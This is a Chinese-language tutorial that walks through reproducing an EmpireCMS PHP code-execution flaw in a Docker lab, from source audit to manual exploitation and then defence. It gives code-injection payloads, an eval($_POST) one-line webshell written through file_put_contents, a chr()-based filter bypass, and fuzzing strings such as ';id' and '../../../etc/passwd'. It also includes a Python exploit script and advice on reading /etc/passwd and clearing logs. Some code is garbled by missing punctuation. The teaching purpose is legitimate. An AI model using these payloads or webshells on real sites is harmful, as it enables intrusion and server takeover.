EmpireCMS代码执行漏洞:从原理分析到手工复现的实战指南

📅 2026/6/22 0:09:29
EmpireCMS代码执行漏洞:从原理分析到手工复现的实战指南
1. 项目概述从“双非渣本”到实战专家的四年磨砺看到这个标题我仿佛看到了四年前的自己。一个非985、非211的普通本科毕业生怀揣着对网络安全的一腔热血却不知从何下手。EmpireCMS这个在国内内容管理系统中占据一席之地的老牌选手其漏洞的挖掘与分析恰恰是许多像我一样的“双非”安全从业者磨砺技术的绝佳沙场。这不仅仅是一次漏洞复现更像是一次对过去四年实战经验的系统性复盘。Web安全的世界里理论固然重要但真正让你站稳脚跟的是那些在深夜对着模糊的报错信息、一遍遍调试payload、最终拿下shell的实战经历。今天我就以EmpireCMS的一个经典代码执行漏洞为引子拆解从环境搭建、漏洞分析、手工利用到自动化工具辅助的完整攻防链条希望能给正在这条路上摸索的你提供一份可以直接“抄作业”的实战指南。2. 漏洞环境与靶场搭建实战工欲善其事必先利其器。漏洞复现的第一步永远是搭建一个稳定、可控的测试环境。盲目在互联网上寻找真实网站进行测试是绝对禁止的这不仅违法也极不专业。我们的所有操作必须在本地或授权的隔离环境中进行。2.1 靶场环境选型与部署对于EmpireCMS这类基于PHPMySQL的经典CMS最便捷的复现环境是使用集成化的Web服务器套件如PHPStudy、XAMPP或Docker。这里我强烈推荐使用Docker因为它能提供最纯净、可一键还原的环境完美符合“测试后即销毁”的安全原则。操作步骤获取漏洞版本源码首先需要确定存在目标漏洞的EmpireCMS具体版本。通过公开的漏洞公告如CNVD、CNNVD或安全社区分析我们可以定位到漏洞影响的版本范围例如EmpireCMS 7.5版本。从官方历史版本存档或可信的源码站点下载对应版本的安装包。部署Docker环境在本地安装Docker Desktop后我们可以使用一个集成了Apache、PHP和MySQL的镜像来快速搭建环境。这里我常用bitnami/lamp镜像它配置简单兼容性好。# 拉取LAMP镜像 docker pull bitnami/lamp:latest # 运行容器将本地EmpireCMS源码目录映射到容器的/opt/bitnami/apache/htdocs目录 docker run -d --name empirecms-test -p 8080:80 -p 3306:3306 \ -v /your/local/path/to/empirecms:/opt/bitnami/apache/htdocs \ -e MARIADB_ROOT_PASSWORDyour_password \ bitnami/lamp:latest执行后EmpireCMS的源码就位于容器的Web根目录下了。通过浏览器访问http://localhost:8080即可看到安装界面。安装与初始化EmpireCMS按照常规的CMS安装流程在浏览器中完成安装。数据库主机填写127.0.0.1数据库名、用户名、密码根据容器环境设置MariaDB root用户及密码即为上面命令中设置的。安装成功后务必进入后台检查核心文件权限确保/e/data/等目录可写这是很多漏洞利用的关键。注意永远不要在安装过程中使用诸如admin/admin这样的弱口令。在测试环境中我们可以设置复杂密码并记录但养成这个习惯对未来的渗透测试职业素养至关重要。2.2 辅助工具链准备一个高效的Web安全研究者其“武器库”必然是丰富的。除了靶场我们还需要一系列工具辅助分析。代码审计工具虽然终极目标是熟练手工审计但初期可以利用Seay源代码审计系统或Fortify SCA进行辅助快速定位危险函数如eval(),assert(),system()的调用点。代理与抓包工具Burp Suite Professional是行业标准用于拦截、重放、修改HTTP/HTTPS请求。社区版Burp Suite Community也足够用于复现学习。Fiddler或Charles是备选。浏览器插件Hack-Tools、Wappalyzer识别CMS及技术栈、EditThisCookieCookie管理等能极大提升效率。漏洞利用框架了解Metasploit Framework是有益的但对于CMS漏洞手工利用更能加深理解。我们可以准备一些自己编写的Python/PHP脚本来辅助验证。实操心得不要过分依赖自动化工具。在复现初期坚持手工完成每一步——手动构造请求、手动解码、手动验证。这个过程能让你深刻理解漏洞的触发链和数据流这是工具无法替代的。我的习惯是先用Burp手工走通整个利用流程确认漏洞存在且利用成功再去思考如何用脚本自动化这个过程。3. EmpireCMS代码执行漏洞深度剖析我们以EmpireCMS历史上一个经典的“前台用户登录代码执行漏洞”为例漏洞编号可能为CNVD-XXXX-XXXXX此处以原理分析为主不涉及具体未公开漏洞细节来拆解这类漏洞的成因、挖掘思路和利用方法。这类漏洞的共性在于用户可控的输入未经严格过滤最终被传递给了可以执行代码的函数。3.1 漏洞原理与危险函数追踪代码执行漏洞的核心是“用户输入”进入了“代码执行上下文”。在PHP中常见的危险函数包括eval() 将字符串作为PHP代码执行。assert() 检查一个断言是否为FALSE但在某些版本中行为类似eval()。preg_replace()/e修饰符 在PHP5.4版本前此修饰符允许将替换字符串作为PHP代码执行。create_function() 创建一个匿名函数内部使用eval()。call_user_func()/array_map()等 如果参数可控可能调用到危险函数。在EmpireCMS的案例中漏洞往往出现在模板解析、标签处理、缓存生成等环节。例如在解析用户自定义标签时系统可能会将标签内容拼接进一个字符串然后使用eval()或类似机制去“动态”执行以生成最终的HTML。如果攻击者能够控制这个标签的内容并巧妙地闭合原有的代码语句插入自己的PHP代码就实现了代码执行。挖掘思路入口点寻找从前台用户能接触到的功能点入手如内容提交处评论、留言、个人资料修改、文件上传尤其是头像、搜索框等。数据流跟踪通过审计代码跟踪用户输入$_GET,$_POST,$_COOKIE,$_REQUEST的传递过程。看它经过了哪些处理函数过滤、转义、拼接最终流向何处。危险函数定位在源码中全局搜索上述危险函数分析其上下文判断参数是否用户可控、是否经过有效过滤。3.2 漏洞触发链场景还原假设我们在审计中发现/e/member/user/目录下的某个edit文件在处理用户更新个人简介时有如下简化逻辑// 从POST请求获取‘intro’个人简介 $intro $_POST[intro]; // 为了“灵活”将简介内容存入一个动态生成的缓存文件文件名与用户ID相关 $cache_file /e/data/cache/intro_.$userid..php; $cache_content ?php\n//用户简介缓存\n\$user_intro \.addslashes($intro).\;\n?; file_put_contents($cache_file, $cache_content); // 后续某个页面会通过include或require引入这个缓存文件来显示简介粗看之下addslashes()函数转义了引号似乎可以防止逃逸。但问题在于addslashes()只转义单引号(‘)、双引号(“)、反斜线(\)和NULL字符。如果攻击者输入的内容本身不需要引号就能构成有效PHP代码呢例如输入\;phpinfo();//。 经过addslashes()后变为\;phpinfo();//反斜线被转义但双引号前的反斜线使得双引号被“转义”而成为普通字符从而闭合了前面的\后面的phpinfo();就被暴露在PHP代码上下文中//注释掉了原行的末尾引号和分号。最终写入缓存文件的内容是?php //用户简介缓存 $user_intro \\;phpinfo();//; ?当这个文件被包含时phpinfo()就会被执行。这就是一个典型的“二次转义”或“转义逻辑绕过”导致的代码注入。实操要点在审计时要特别注意那些将用户数据写入.php文件或配置文件的操作。即使使用了htmlspecialchars()、addslashes()进行过滤也要思考过滤是否完整是否存在字符编码问题如宽字节注入、是否在后续的“解码”或“拼接”环节被重新解释。4. 手工漏洞复现与利用详解理解了原理我们开始手工复现。假设我们已经通过代码审计定位到了上述漏洞的触发点位于用户编辑个人资料的intro字段。4.1 信息收集与漏洞点探测登录靶场使用一个普通用户账号登录EmpireCMS前台。进入编辑页面找到“修改资料”、“个人设置”或类似功能入口。拦截请求开启Burp Suite设置浏览器代理在资料编辑页面随意修改简介并提交此时Burp会拦截到POST请求。分析请求结构查看拦截到的请求找到提交简介的参数通常可能是intro、description、sign等。记录下完整的URL、Cookie以及其他必要的表单字段如userid,ecmsfrom等。4.2 构造与投递恶意Payload这是最核心的环节考验对漏洞原理和上下文的理解。基础Payload测试首先我们尝试一个最简单的测试确认输入点是否被执行以及过滤情况。在intro参数中提交?php phpinfo();?。提交后查看返回页面或后续包含该简介的页面源码看?php ?标签是否被原样输出说明被HTML实体转义了还是被服务器执行了直接看不到但可能触发错误或看到phpinfo页面或者被过滤掉了。绕过过滤尝试如果?php ?被过滤尝试短标签?phpinfo()?或者利用PHP的assert函数‘.assert($_POST[“cmd”]).’。这里需要根据代码上下文来构造。针对我们前面假设的漏洞场景我们需要构造能闭合双引号并注释掉后面内容的Payload。原始Payload构思我们要让最终生成的PHP文件里$user_intro “和“;之间的部分被我们控制。假设原代码是“\$user_intro \“.$intro.\”;”。构造我们输入\“;phpinfo();//。过程推演用户输入\“;phpinfo();//addslashes()处理在双引号和反斜杠前加反斜杠变成\\\“;phpinfo();//拼接进字符串“\$user_intro \“.$intro.\”;”变为“\$user_intro \“\\\“;phpinfo();//\”;”写入文件内容为$user_intro “\\“;phpinfo();//”;PHP解析\\“被解释为一个反斜杠字符\后跟一个双引号“。这个双引号与开头的双引号匹配闭合了字符串。紧接着的分号;结束了这条赋值语句。然后phpinfo();成为一条新的独立语句被执行。//注释掉了该行剩余的所有内容即原本的”;。使用Burp Repeater模块将拦截到的修改资料的POST请求发送到Repeater。在Repeater中修改intro参数的值为我们精心构造的Payload。发送与验证点击“Send”发送请求。观察返回的HTTP响应。如果漏洞存在且Payload正确服务器可能会返回一个包含phpinfo输出信息的页面或者没有任何错误说明代码已静默执行。此时我们需要访问那个包含缓存文件的页面来触发代码执行。根据漏洞位置这个页面可能是用户主页、某个公共展示页等。访问该页面如果看到了phpinfo()的信息输出则证明漏洞复现成功。4.3 获取WebShell与权限维持证明代码执行后下一步就是获取一个更稳定的WebShell以便进一步操作。写入WebShell我们可以利用漏洞直接向网站目录写入一个一句话木马文件。构造新的Payload例如\“;file_put_contents(‘shell.php’ ‘?php eval($_POST[“pass”]);?’);//这个Payload会在网站根目录相对路径取决于漏洞文件的当前位置下创建一个名为shell.php的文件内容为一句话木马。连接WebShell使用中国菜刀Caidao、蚁剑AntSword或哥斯拉Godzilla等WebShell管理工具连接我们写入的shell。连接地址为http://靶场地址/shell.php密码为pass。权限提升与信息收集通过WebShell可以执行系统命令收集服务器信息uname -a,whoami,cat /etc/passwd尝试提权查找SUID文件、内核漏洞等并横向移动。在靶场环境中这一切都是为了学习防御手段切勿在非授权环境尝试痕迹清理在测试结束后应通过WebShell删除上传的shell文件并清理可能留下的访问日志、错误日志等。在Docker环境中最简单直接的方式就是停止并删除整个容器docker rm -f empirecms-test。核心技巧在构造Payload时如果遇到引号被转义可以尝试使用PHP的字符串连接特性。例如不使用引号构造字符串$achr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);最终$a就是字符串phpinfo。再通过$a();来动态调用函数。这种方式能有效绕过基于关键词和引号的简单过滤。5. 漏洞挖掘的进阶思路与自动化辅助手工复现是基础但要想真正具备漏洞挖掘能力需要建立系统化的方法和借助自动化工具提高效率。5.1 静态代码审计系统性方法通读核心功能模块代码不要一开始就全局搜索危险函数。先花时间阅读用户注册、登录、文章发布、评论、搜索、订单处理、文件上传、后台管理等功能的核心代码。理解程序的业务逻辑和数据流这能帮你发现更隐蔽的逻辑漏洞和二次注入点。敏感函数追踪链当定位到一个危险函数如eval时不要只看它所在的文件。向上回溯所有给其参数赋值的变量一直追溯到最初的用户输入点$_GET/$_POST等。画出完整的“数据流图”分析每一个处理环节的过滤函数。常见的过滤函数如trim(),stripslashes(),htmlspecialchars(),intval(),mysql_real_escape_string()注意已弃用需要评估其是否足以防止代码执行。关注文件包含与反序列化除了直接的代码执行文件包含include,require,include_once,require_once和反序列化unserialize也是导致代码执行的高危点。寻找用户可控的输入是否被直接或间接用作这些函数的参数。5.2 动态黑盒测试与Fuzzing在无法获得源码的情况下或作为源码审计的补充黑盒测试至关重要。参数Fuzzing使用Burp Suite的Intruder模块或专门的Fuzzing工具如ffuf、wfuzz对每一个发现的参数进行测试。Payload集合应包括代码执行Payload${phpinfo()},{{phpinfo()}},$(phpinfo())以及各种编码、混淆后的变体。命令执行Payload;id,|id,||id,id,id,\nid换行符反引号id。路径遍历Payload../../../etc/passwd。SQL注入探测Payload‘,“,‘ OR ‘1’’1。流量对比分析修改参数前后对比服务器返回的HTTP响应头、响应体长度、响应时间、HTML内容差异。一个微小的差异如一个错误信息的泄露、响应时间变长都可能暗示着漏洞的存在。目录与文件扫描使用dirsearch,gobuster等工具扫描靶站寻找备份文件.bak,.swp,.old、配置文件config.php,.env、管理员后台/admin/,/manage/、安装目录/install/等这些地方往往藏着惊喜。5.3 从PoC到Exploit的自动化手工验证成功后可以编写简单的Python脚本将利用过程自动化这能加深对HTTP协议和漏洞利用链的理解。import requests import sys def exploit(target_url user pwd shell_content): # 1. 登录获取Session session requests.Session() login_data {username: user password: pwd submit: 登录} login_resp session.post(target_url /e/member/login/’ datalogin_data) if 登录成功 not in login_resp.text: print(“[-] 登录失败”) return False # 2. 构造恶意Payload (以假设的漏洞为例) # 假设编辑个人资料的接口为 /e/member/edit/index.php 参数为 ‘intro’ edit_url target_url /e/member/edit/index.php # 构造能写入WebShell的Payload 这里需要根据实际漏洞调整 # 例如: payload ‘\“;file_put_contents(\“shell.php\” \“’ shell_content ‘\“);//’ payload YOUR_CRAFTED_PAYLOAD_HERE edit_data {intro: payload submit: 提交} edit_resp session.post(edit_url dataedit_data) # 3. 触发包含漏洞的页面使WebShell写入生效 trigger_url target_url /e/member/space/?userid‘ get_user_id(session) # 需要根据实际情况获取userid session.get(trigger_url) # 4. 验证WebShell是否写入成功 shell_url target_url /shell.php verify_resp requests.get(shell_url) if verify_resp.status_code 200: print(“[] WebShell 疑似写入成功 请手动验证: ” shell_url) return True else: print(“[-] WebShell 写入可能失败”) return False if __name__ __main__: if len(sys.argv) ! 4: print(“用法: python exploit.py 靶场URL 用户名 密码”) sys.exit(1) target sys.argv[1] username sys.argv[2] password sys.argv[3] shell_code ‘?php eval($_POST[“cmd”]);?’ exploit(target username password shell_code)脚本编写心得自动化脚本的关键在于处理Web应用的状态Session/Cookie、模拟浏览器行为如处理Token、验证码、以及应对服务器可能的重定向和跳转。多使用requests.Session()对象来保持会话仔细分析每个步骤的HTTP请求和响应。6. 防御方案与安全编程实践攻击者思维能帮助我们找到漏洞而防御者思维才能让我们写出更安全的代码。针对这类代码执行漏洞防御是分层、立体的。6.1 输入验证与过滤白名单化“所有输入都是有害的”是安全编程的第一准则。对于EmpireCMS这类需要动态执行代码的场景如模板标签最根本的解决方法是避免使用eval()等危险函数。如果必须使用则必须实施极其严格的过滤。白名单优于黑名单不要试图过滤所有危险字符如‘ “ \ $你总会漏掉。应该定义允许的字符集。例如对于模板标签名只允许字母、数字和下划线preg_match(‘/^[a-zA-Z0-9_]$/’ $tag_name)。严格的数据类型校验对于预期是整数的参数如用户ID、页码使用intval()强制转换。对于预期是数组的检查is_array()。上下文相关的输出编码用户输入在显示时根据输出位置进行编码。输出到HTML用htmlspecialchars()输出到JavaScript用json_encode()输出到命令行参数用escapeshellarg()。6.2 安全配置与架构设计禁用危险函数在PHP配置文件php.ini中通过disable_functions指令禁用eval()assert()system()exec()shell_exec()popen()等函数。这是最有效的一劳永逸的方法但需要评估对业务的影响。降低权限运行Web服务器进程如www-data apache用户应以最低必要权限运行。确保其没有对Web目录以外文件的写权限甚至没有读权限。将可写目录如/e/data//d/file/移到Web根目录之外或者通过配置禁止直接访问这些目录下的.php文件。代码与数据分离绝对不要将用户输入直接拼接到待执行的代码字符串中。如果需要动态逻辑可以使用安全的映射方式例如将用户输入的“动作名”映射到一个预先定义好的函数或方法数组。$allowed_actions array(‘show’ ‘edit’ ‘delete’); $action $_GET[‘action’]; if (in_array($action $allowed_actions)) { call_user_func(‘do_’ . $action); // 调用 do_show(), do_edit() 等安全函数 } else { die(‘非法操作’); }6.3 漏洞修复与应急响应如果你是EmpireCMS的维护者或使用者在漏洞被公开后及时更新关注官方发布的安全更新和补丁第一时间进行升级。这是最推荐的方式。临时热修复如果无法立即升级可以根据漏洞详情手动修改源码。例如对于前面假设的漏洞修复方法就是将addslashes()替换为更严格的过滤或者彻底改变实现方式不将用户数据写入.php文件。可以将用户简介以序列化格式或纯文本格式存储显示时再读取。部署WAF在应用前端部署Web应用防火墙WAF如ModSecurity可以拦截大部分已知攻击模式的Payload为修复争取时间。但WAF不是银弹可能被绕过。日志监控与告警开启Web服务器和PHP的错误日志并监控日志中是否存在明显的攻击特征如大量的evalsystembase64_decode等关键词的访问请求。建立实时告警机制。7. 实战中常见问题与排查实录在真实的漏洞复现和挖掘过程中你一定会遇到各种各样的问题。这里记录几个我踩过的坑和解决思路。7.1 Payload构造失败与调试问题精心构造的Payload提交后毫无反应服务器返回正常页面或500错误。排查查看服务器错误日志这是最重要的线索来源。在Docker容器中可以执行docker logs empirecms-test查看Apache/PHP的实时日志。寻找与你的请求相关的PHP Parse error或Fatal error。检查Payload的编码与转义Burp Suite的Decoder模块是你的好帮手。将你构造的Payload进行URL编码、HTML实体编码、Base64编码等看看在传输过程中是否被额外处理了。有时需要多层编码来绕过WAF或应用自身的过滤逻辑。使用分步验证法不要一次性构造复杂的Payload。先提交一个最简单的测试如123‘“看输出结果判断过滤了哪些字符。然后逐步增加复杂度。注意请求格式检查请求是application/x-www-form-urlencoded还是multipart/form-data是否遗漏了必要的Cookie、Referer或CSRF Token用Burp的“Compare”功能对比正常请求和你的攻击请求。7.2 获取WebShell后连接失败问题脚本显示写入成功但用蚁剑/菜刀连接时超时或返回404/500。排查确认文件路径通过漏洞执行echo __FILE__;或print_r(scandir(‘.’));来确认当前脚本的工作目录从而确定你写入的shell.php的绝对路径。路径可能不对。检查文件权限和内容执行ls -la shell.php和cat shell.php确认文件确实存在且内容正确无误。可能因为权限问题写入失败或者写入过程中Payload被截断、修改。检查Web服务器解析确保Web服务器配置了正确解析.php文件。可以写入一个?php echo “test”;?的文件来测试。防火墙与安全软件靶场环境尤其是Windows下的PHPStudy或宿主机可能安装了杀毒软件、安全防护软件它们会实时查杀写入的一句话木马文件。需要临时禁用或添加信任。连接工具配置检查蚁剑的连接配置URL、密码、编码方式默认base64是否正确。尝试使用更原始的连接方式如直接在浏览器访问shell.php?passphpinfo();看是否有回显。7.3 漏洞利用的稳定性问题问题漏洞有时能利用成功有时失败不稳定。排查会话Session管理确保你的攻击请求携带了有效的、未过期的Session Cookie。长时间不操作可能导致会话失效。竞争条件如果漏洞涉及文件操作如先写临时文件再包含可能存在竞争条件。多线程并发请求可能会提高成功率。缓存与延迟服务器端可能有缓存机制导致你写入的恶意文件没有被立即加载。可以尝试在写入后多访问几次触发页面或者等待几秒钟。参数顺序与大小写某些PHP程序对$_GET和$_POST参数的顺序敏感或者对参数名大小写敏感。确保你的请求与正常请求完全一致。四年时间从对SQL注入一知半解到能独立完成对EmpireCMS这类中型系统的代码审计和漏洞挖掘我最大的体会就是Web安全没有捷径唯手熟尔。每一个漏洞复现的成功背后都是数十次失败的调试和对代码逻辑的反复琢磨。不要满足于运行别人写好的Exp脚本一定要亲手去搭环境、去读代码、去构造那个能“一击必杀”的Payload。这个过程积累下来的是对PHP语言特性的深刻理解是对HTTP协议细节的把握更是那种在复杂系统中抽丝剥茧、定位问题的“直觉”。这份“直觉”才是你在网络安全领域安身立命的根本。最后请务必牢记所有技术都应在法律和道德允许的范围内使用我们的目标是成为守护者而非破坏者。